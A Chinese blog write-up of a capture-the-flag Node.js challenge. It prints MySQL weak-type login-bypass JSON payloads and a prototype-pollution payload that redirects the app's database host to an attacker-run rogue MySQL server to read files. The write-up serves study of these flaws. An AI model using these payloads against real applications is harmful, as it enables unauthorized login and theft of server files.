一道node.js题目

前言

昨天晚上睡前翻了一下L0nm4r师傅的博客,发现新更了一篇node.js题目的WP,看了一下还挺有意思,而且知识点是我的知识盲区,也就趁着周六也来复现了一下。

源码下载:
prototype_pullotion
下载得到源码后自己建个库,导入test.sql,然后更改一下routes/index.js里面关于数据库的配置即可。
因为实在是node.js的萌新。。。就这题看着源码来做了,萌新落泪。

WP

登录

知识盲区。。。登录的这里:

  database.query( 'select * from user where user= ? and passwd =?', [copybody.user,copybody.passwd] )

L0nm4r师傅说今年的antctf考过,我才想起来今年做antctf的时候我还没学node.js,所以那题就没去做,翻了一下那题:
一道node.js题目_第1张图片
因此这样:

{
     "user":"admin","passwd":{
     "passwd":1}}

相当于这样的万能密码。

select * from user where user= "admin" and passwd =`passwd`=1
select * from user where user= "admin" and (passwd =`passwd`)=1

此外还有这样的:

{
     "user":"admin","passwd":[0]}
{
     "user":[0],"passwd":[0]}

还是利用mysql的弱类型比较,如果用户名或者密码不是以数字开头的话,那么:

"adffasfdb"=0 //true

实际上这样也行:

{
     "user":0,"passwd":0}
{
     "user":"admin","passwd":0}

MySQL恶意服务端读取客户端文件

接下来其实我还是迷的。。告诉了去看/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh/jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js,看完之后还是不知道该咋读,虽然知道存在原型链污染。
看了wp,原来这里:

    var copybody = clone(body)
    var host = copybody.host == undefined ? "localhost" : copybody.host
    var config = {
     
      host: host,
      user: 'root',
      password: 'root',
      database: 'node'
    };

这里利用原型链污染,可以污染copybody.host,或者说直接就可以污染到config.host
再因为题目告诉了我们flag在哪,联想到之前红名谷的easytp那题,利用的MySQL恶意服务端读取客户端文件。
利用脚本:
Rogue-MySql-Server
因此只要在这个脚本里改端口和要读取的路径,然后再原型链污染一下就可以了。

{
     "user":0,"passwd":0,"__proto__":{
     "host":"vps","port":"39421"}}

因为我那边的python开的端口不在3306,所以还要加上port。

关于Mysql恶意服务端读取客户端的文章:
MySQL 服务端恶意读取客户端任意文件漏洞

你可能感兴趣的:(node.js,js,mysql,node.js)